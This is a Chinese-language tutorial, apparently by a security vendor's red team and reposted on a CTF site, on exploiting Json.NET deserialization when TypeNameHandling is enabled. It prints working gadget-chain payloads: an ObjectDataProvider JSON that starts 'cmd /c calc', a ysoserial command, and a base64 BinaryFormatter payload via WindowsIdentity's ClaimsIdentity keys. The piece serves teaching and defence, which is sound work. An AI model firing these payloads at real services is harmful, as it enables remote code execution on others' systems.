.net反序列化萌新入门–Json.Net

渗透技巧 3年前 (2022) admin
719 0 0

01 Json.net简介

Json.net即Newtonsoft.Json,是.Net中开源的Json序列化和反序列化工具,官方地址:http://www.newtonsoft.com/json。


它虽然不是官方库,但凭借其优秀的性能获得了广大开发者的喜爱。


官网给出的性能比较:

.net反序列化萌新入门--Json.Net


02 Json.net的序列化和反序列化

首先定义一个person类,并添加一个execcmd的方法,它调用了Process.Start来执行cmd。

    [Serializable]
    public class Person
    
{
        private static int TAG = 20;
        private int _gender;

        public string Name { set; get; }
        public int Age { set; get; }
        public void execcmd(string cmd)
        {
            Process.Start(cmd);
        }
    }


初始化并将其序列化输出:

        var p = new Person()
        {
            Name = "m01n",
            Age = 26
        };
        Console.WriteLine(JsonConvert.SerializeObject(p));        


输出结果如下:

.net反序列化萌新入门--Json.Net



但这并不是我们想要的,添加以下代码:

Console.WriteLine(JsonConvert.SerializeObject(p, new JsonSerializerSettings { TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full, TypeNameHandling = TypeNameHandling.All }));


输出:

.net反序列化萌新入门--Json.Net


增加了type字段,第二个参数是设置序列化的配置,其中TypeNameHandling是我们需要重点关注的,官网给出了以下五种设置,默认设置为None,除了None之外,都会包含type字段。这也是漏洞产生的关键。

.net反序列化萌新入门--Json.Net


03 ObjectDataProvider攻击向量

在前面的《.NET反序列化利用链萌新入门——XmlSerializer》中有介绍过ObjectDataProvider,总结一下就是在实现 ObjectDataProvider对象时,不管是添加ObjectInstance,MethodName还是MethodParameters都会自动尝试执行目标函数。


Json.net直接序列化ObjectDataProvider实现的System.Diagnostics.Process会报错,但我们可以看一下ObjectDataProvider对象的Json序列化输出格式。

.net反序列化萌新入门--Json.Net


结果输出格式化之后如下:

{
    "$type""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "ObjectInstance": {
        "$type""ConsoleApp1.Program+Person, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",
        "Name""m01n",
        "Age"26
    },
    "MethodName""execcmd",
    "MethodParameters": {
        "$type""MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "$values": ["calc"]
    },
    "IsAsynchronous"false,
    "IsInitialLoadEnabled"true,
    "Data"null,
    "Error"null
}


对比一下 .ysoserial.exe -g ObjectDataProvider -f json.net -c calc  生成的payload结果:

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd''/c calc']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

首先是去除了一些不必要的字段,然后修改了MethodName为Start,同时将ObjectInstance和MethodParameters的$type分别设置为Process和ArrayList相对应的程序集限定名,当然经测试,MethodParameters的$type不用改也可以成功。


关于程序集限定名,可以通过object.GetType().AssemblyQualifiedName或者typeof().AssemblyQualifiedName获取。最终成功执行命令。

.net反序列化萌新入门--Json.Net


04 攻击向量—WindowsIdentity和WindowsClaimsIdentity 

WindowsIdentity

WindowsIdentity是一个表示Windows用户的类,可以获取认证用户的信息。


关于WindowsIdentity的详细介绍可以看官网:https://docs.microsoft.com/zh-cn/dotnet/api/system.security.principal.windowsidentity?redirectedfrom=MSDN&view=net-6.0


WindowsIdentity继承自System.Security.Claims.ClaimsIdentity,并且实现了 ISerializable 接口。

.net反序列化萌新入门--Json.Net


跟进去发现ISerializable接口需要实现GetObjectData方法,GetObjectData方法的第一个参数为SerializationInfo类对象。

.net反序列化萌新入门--Json.Net


通过调用SerializationInfo类的AddValue方法可以在序列化对象时存储备用值,AddValue具有多个重载方法来指定序列化的信息。

.net反序列化萌新入门--Json.Net


ClaimsIdentity

ClaimsIdentity(声称标识)位于 System.Security.Claims 命名空间下。


Claim表示一个声明单元,它用来组成ClaimsIdentity。ClaimsIdentity表示一个证件,例如身份证,身份证上面的名字表示一个Claim,身份证号也表示一个Claim,所有这些Claim组成身份证,即ClaimsIdentity。一个人不止有一个能够表示身份的东西,还有驾驶证、户口本等等,这些都是一个一个的CLaimsIdentity。

.net反序列化萌新入门--Json.Net


ClaimsIdentity 类初始化方法有两个重载,并且通过前文介绍的 SerializationInfo 来传入数据,最后用 Deserialize 反序列化数据。

.net反序列化萌新入门--Json.Net


跟进Deserialize(),可以看到key设置为System.Security.ClaimsIdentity.actor或者System.Security.ClaimsIdentity.bootstrapContext,base64解码后会执行后面的binaryFormatter.Deserialize(),此方法已被证明是不安全的。

.net反序列化萌新入门--Json.Net


微软关于binaryFormatter.Deserialize的说明:

.net反序列化萌新入门--Json.Net


POC

至此我们可以构造出攻击链,如果使用 GetObjectData 类中的 AddValue 方法添加key:System.Security.ClaimsIdentity.bootstrapContext,value : base64编码后的binaryFormatter.Deserialize的反序列化payload,最后实现 System.Security.Principal.WindowsIdentity.ISerializable 接口就能攻击成功。


构造如下方法:

.net反序列化萌新入门--Json.Net


传入binaryFormatter的反序列化payload并使用Json.net将其序列化。

.net反序列化萌新入门--Json.Net


得到如下结果:

{    "$type""ConsoleApp1.Program+WindowsIdentityTest, jsontest, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null",    "System.Security.ClaimsIdentity.actor""AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="}


将$type的值改为WindowsIdentity的完全限定名,即可得到完整payload。也可以直接使用ysoserial生成payload:

.net反序列化萌新入门--Json.Net


ysoserial使用的是System.Security.ClaimsIdentity.actor,测试证明System.Security.ClaimsIdentity.bootstrapContext同样可以触发命令执行,但这两个在触发命令执行后都会引发异常:

.net反序列化萌新入门--Json.Net


WindowsClaimsIdentity和WindowsIdentity是相同的原理,因为WindowsClaimsIdentity继承自WindowsIdentity。


05 总结

使用Json.net的项目,JsonSerializer的TypeNameHandling值只要不为None,即可能存在反序列化漏洞。ObjectDataProvider攻击向量在.net反序列化中会经常用到。


.net反序列化萌新入门--Json.Net

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。


.net反序列化萌新入门--Json.Net

M01N Team

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队


原文始发于微信公众号(M01N Team):.net反序列化萌新入门–Json.Net

版权声明:admin 发表于 2022年4月20日 下午6:00。
转载请注明:.net反序列化萌新入门–Json.Net | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...